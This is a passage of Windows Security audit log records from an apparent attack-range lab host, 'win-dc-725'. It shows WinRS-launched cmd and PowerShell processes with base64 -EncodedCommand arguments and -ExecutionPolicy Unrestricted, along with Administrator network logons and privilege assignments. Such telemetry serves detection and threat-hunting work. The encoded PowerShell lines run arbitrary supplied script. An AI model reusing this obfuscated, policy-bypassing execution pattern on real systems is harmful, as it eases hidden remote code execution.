	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc94
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247029
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFF78

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247028
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFF78
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247027
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247026
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247025
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc94
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247024
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247023
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFDAC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247022
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFDAC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247021
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247020
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247019
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247018
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247017
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247016
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDFB45
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247015
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
